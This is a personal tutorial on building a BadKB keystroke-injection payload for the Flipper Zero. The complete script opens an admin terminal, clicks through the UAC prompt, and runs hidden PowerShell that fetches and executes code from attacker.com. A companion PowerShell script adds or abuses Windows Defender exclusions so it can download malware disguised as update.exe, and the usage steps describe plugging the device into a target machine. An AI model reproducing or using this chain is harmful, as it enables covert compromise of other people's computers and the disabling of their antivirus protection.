Making a BadKB payload for the Flipper Zero
For my birthday, my friends gifted me a Flipper Zero. Let me tell you, this thing is as useless as it is fun to use.
The easy-to-use interface, the installed modules and apps—everything seems to work as intended.
I’ve had my fair share of fun with this device, and I still do.
It has also helped me with some IR projects, making it a great tool for troubleshooting and debugging.
What is BadKB#
Using the Momentum Firmware, I have access to the BadKB app. It works by simulating a Human Interface Device, effectively mimicking a keyboard and mouse combo.
By writing and executing scripts on the Flipper Zero, one can run system commands or perform various operations on a computer—just as one would with a normal keyboard and mouse, but at a much faster pace.
For a list of available commands, the documentation can be found here.
Goals#
- Gain an admin terminal (assuming the current user is a local admin).
- Execute commands to evade antivirus detection and ensure our payload/backdoor/malware runs undetected.
- Minimize the number of lines in our script.
- Hide all operations until execution is complete.
Getting an Admin Terminal#
The best way to spawn a terminal is by running cmd.exe
via the “Run” window (Windows + R), then pressing CTRL + SHIFT + ENTER to execute it as admin.
Note: Instead of running the PowerShell payload inside
cmd
, one could execute PowerShell directly. However, in my experience, PowerShell can be extremely slow to initialize on some systems, delaying command execution. To avoid such delays, I prefer executing PowerShell payloads viacmd.exe
.
When the UAC prompt appears, we can confirm execution by pressing the left arrow key followed by Enter, unless the user needs to authenticate with an admin password, in which case our script would fail.
To work around this, we could run cmd
or powershell
as the current user instead, by replacing CTRL + SHIFT + ENTER with just ENTER.
Script to open the “Run” dialog and execute cmd.exe
as admin:
REM --- Open the Run dialog with Windows + R
GUI R
REM --- Type "cmd.exe"
STRING cmd.exe
REM --- Decrease global delay between commands
DEFAULT_DELAY 100
REM --- Press CTRL + SHIFT + ENTER
HOLD CTRL-SHIFT
ENTER
RELEASE CTRL-SHIFT
REM --- Wait for the UAC prompt
DELAY 1500
REM --- Select "Yes" and confirm with Enter
LEFTARROW
ENTER
Explanation of commands:
REM
: CommentGUI
: Windows keySTRING
: Types the specified textDEFAULT_DELAY
: Sets a global delay between commandsHOLD
: Holds specified keysENTER
: Presses EnterRELEASE
: Releases previously held keysDELAY
: Pauses execution for a set timeLEFTARROW
: Presses the left arrow key
Payload Preparation#
Before executing any payload, we should ensure the terminal closes when done. Since we’re using cmd.exe
, we can append & exit
to our payload:
powershell.exe "<PAYLOAD>" & exit
To add an acoustic cue indicating the payload has finished execution, we can use PowerShell’s [console]::beep
function. More details here.
[console]::beep(10000,50)
Script to run the payload:
STRINGLN powershell -ExE Bypass -Win hidden -C "<PAYLOAD>; [console]::beep(10000,50)" & exit
Breakdown:
STRINGLN
: LikeSTRING
, but pressesEnter
automatically after writing the string.-ExE Bypass
: Short for-ExecutionPolicy Bypass
, meaning nothing is blocked, and no warnings appear.-Win hidden
: Runs PowerShell in a hidden window.-C
: Executes the specified command.
Bypassing Antivirus#
If we are dropping malware, we must avoid Windows Defender flagging it. Since we’re running with admin privileges, we can tell Windows Defender to ignore specific folders.
We can also check if any existing exclusions contain writable paths and use them to drop our malware.
Downloading and executing a PowerShell script in memory is simple using Invoke-WebRequest
and Invoke-Expression
:
iex (iwr 'URL_TO_THE_PAYLOAD').Content
Checking and Using Windows Defender Exclusions:
$exclusions = (Get-MpPreference).ExclusionPath
If no exclusions exist, we create one and download the malware there:
if ($exclusions.Count -eq 0) {
Add-MpPreference -ExclusionPath "C:\Temp\"
iwr $URL -OutFile "C:\Temp\malware.exe"
} else {
foreach ($path in $exclusions) {
if (Test-Path $path -PathType Container) {
$writable = (Get-Acl $path).Access | Where-Object {
($_.FileSystemRights -match "Write" -or $_.FileSystemRights -match "FullControl") -and $_.AccessControlType -eq "Allow"
}
if ($writable) {
$NEWPATH = $path + "\malware.exe"
iwr $URL -OutFile $NEWPATH
break
}
}
}
}
Complete BadKB Script:
REM Written by @JackRendor
DEFAULT_DELAY 500
GUI R
STRING cmd.exe
REM --- Run cmd.exe as administrator ---
DEFAULT_DELAY 100
HOLD CTRL-SHIFT
ENTER
RELEASE CTRL-SHIFT
DELAY 1500
LEFTARROW
ENTER
REM --- Admin terminal obtained ---
DEFAULT_DELAY 100
REM --- Execute payload ---
STRINGLN powershell -ExE Bypass -Win hidden -C "iex (iwr 'https://attacker.com/script.ps1').Content; [console]::beep(10000,50)" & exit
PowerShell Script:
$URL = "http://attackerserver/malware.exe"
$NEWPATH = "C:\Temp\update.exe"
$exclusions = (Get-MpPreference).ExclusionPath
if ($exclusions.Count -eq 0) {
Add-MpPreference -ExclusionPath "C:\Temp\"
iwr $URL -OutFile $NEWPATH
} else {
foreach ($path in $exclusions) {
if (Test-Path $path -PathType Container) {
$writable = (Get-Acl $path).Access | Where-Object {
($_.FileSystemRights -match "Write" -or $_.FileSystemRights -match "FullControl") -and $_.AccessControlType -eq "Allow"
}
if ($writable) {
$NEWPATH = $path + "\update.exe"
iwr $URL -OutFile $NEWPATH
break
}
}
}
}
Usage:#
- Edit the BadKB script to point to your PowerShell script URL.
- Configure the correct keyboard layout on the Flipper Zero (
Config
→Keyboard Layout
). - Run the payload on the Flipper Zero.
- Plug the Flipper Zero into the target machine (via USB or Bluetooth).
- Unplug it as soon as the terminal disappears/minimizes, indicating execution has started.